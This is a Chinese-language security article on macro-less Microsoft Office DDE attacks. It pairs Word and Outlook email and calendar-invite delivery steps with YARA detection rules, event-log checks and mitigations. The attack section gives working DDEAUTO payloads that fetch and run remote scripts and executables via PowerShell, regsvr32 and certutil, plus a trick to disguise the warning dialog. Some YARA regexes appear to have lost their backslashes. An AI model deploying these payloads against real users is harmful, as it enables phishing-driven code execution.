微軟office DDE攻擊與防禦
前段時間來自Sensepost的Etienne Stalmans和Saif El-Sherei發表了一篇博客文章,介紹微軟 office在不需要宏情況下,使用DDE進行攻擊,由於宏攻擊已使用多年,並很多防護設備可檢測, DDE攻擊文章一發出來,受到很多人的關注,國內外的安全研究人員都在討論各種姿勢的利用。
什麼是DDE
動態數據交換(DDE),它是在Microsoft Windows操作系統中實現的客戶端/伺服器通信方法,自1987年早期的Windows 2.0基於Windows Messaging,並使用其功能來啟動雙方之間的連接,伺服器偵聽某些主題和消息,對其進行響應到客戶端並終止連接。
它被用於向諸如辦公產品和瀏覽器的應用程序發送參數,發送命令到shell -explorer-來創建開始菜單組和鏈接,並在不同的應用程序和服務之間進行集成。
Microsoft將DDE定義為允許應用程序共享數據的一組消息和準則。Microsoft文檔說明,應用程序可以使用DDE協議進行一次數據傳輸,以便應用程序在新數據可用時將更新發送給彼此。
DDE攻擊
MS word
新建一個Word文檔,通過Ctrl+F9添加一個域,輸入POC:
{ DDEAUTO c:\windows\system32\cmd.exe "/k notepad.exe" }
{ DDE c:\windows\system32\cmd.exe "/k notepad.exe" }
根據Word中的安全設置,每當在Word文檔中執行DDE命令時,將顯示兩個警告
GIF/1.1M
Outlook
由於Outlook使用Word作為其本機解析器,可以使用Microsoft Outlook RTF格式(RTF)格式化的電子郵件和日曆邀請在Microsoft Outlook中運行動態數據交換(DDE)攻擊。
(一)RTF
2.打開outlook,新建郵件,找到切換格式選項,選擇RTF後,在正文中插入一張圖片(在outlook 2013 2016需插入圖片),將WORD中的Payload粘貼在郵件正文中,當你複製Payload時,會彈出窗口,選擇"N"後,發送郵件。
3.當目標接收到,進行回復時,DDE攻擊代碼會執行。
約會邀請
經測試同版本相互發送發約會邀請,可以觸發payload,但outlook 2010給2013發,無法觸發payload。
2.打開outlook,約會邀請,將WORD中的Payload粘貼在約會邀請正文中,當你複製Payload到正文時,會彈出窗口,選擇"N"後,發送約會邀請。
3.每當用戶打開日曆查看自己的行程安排時,就會觸發Payload的執行:
Payload
CACTUSTORCH_DDEAUTO工具是xillwillx開發的DDE Payload生成腳本,以自動創建.vbs / .hta / .js有效載荷以在Microsoft Office文檔中使用
DDEAUTO c:\Windows\System32\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "http://willgenovese.com/hax/index.js"; -Destination "index.js" & start c:\Windows\System32\cmd.exe /c cscript.exe index.js"
DDEAUTO c:\windows\system32\cmd.exe "/k regsvr32 /s /n /u /i:http://willgenovese.com/hax/calc.sct scrobj.dll "
DDEAUTO c:\windows\system32\cmd.exe "/k certutil -urlcache -split -f http://willgenovese.com/hax/test.exe && test.exe"
DDEAUTO c:\Windows\System32\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString( http://willgenovese.com/hax/evil.ps1 );powershell -e $e "
窗口迷惑
在使用DDE攻擊時,會彈出窗口,需要用戶點擊。
從目前研究的結果來看,是無法取消彈出窗口的,但可以修改彈出的內容,看起來不是那麼可疑。
DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe # " "sanr aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
DDE攻擊防護與檢測
檢測DDE
Yara規則
Nviso提供了如下的YARA規則來幫助我們檢測DDE
// YARA rules Office DDE
// NVISO 2017/10/10 - 2017/10/12
// https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
rule Office_DDEAUTO_field {
strings:
$a = /.+?b[Dd][Dd][Ee][Aa][Uu][Tt][Oo]b.+?/
condition:
$a
}
rule Office_DDE_field {
strings:
$a = /.+?b[Dd][Dd][Ee]b.+?/
condition:
$a
}
rule Office_OLE_DDEAUTO {
strings:
$a = /x13s*DDEAUTOb[^x14]+/ nocase
condition:
uint32be(0) == 0xD0CF11E0 and $a
}
rule Office_OLE_DDE {
strings:
$a = /x13s*DDEb[^x14]+/ nocase
condition:
uint32be(0) == 0xD0CF11E0 and $a
Win日誌檢測
在Windows事件查看器中的「應用程序和服務日誌」文件夾中的Microsoft Office警報項中,有一、個事件300.消息體包含文本「是否啟動應用程序 c:windowssystem32cmd.exe?"
防禦DDE
由於微軟的回應是:這是一種專門設計的功能,他們不會對這項功能進行所謂的「漏洞修復」,那我們需要使用如下辦法來緩解攻擊
2.禁用Word中的「更新自動鏈接打開」選項。
3.0patch團隊出了dde的補丁,非微軟官方
https://0patch.blogspot.be/2017/10/0patching-office-dde-ddeauto.html
※Web App攻擊之使用Web Scarab工具搜索目標
※壞兔子來襲,安天智甲有效防護
※這名黑客說,他能看到明星整容前的樣子
※Petya昨日重現:Bad Rabbit勒索病毒突襲東歐
※LOKIBOT——首個「變形金剛」式的Android 惡意軟體
TAG:嘶吼RoarTalk |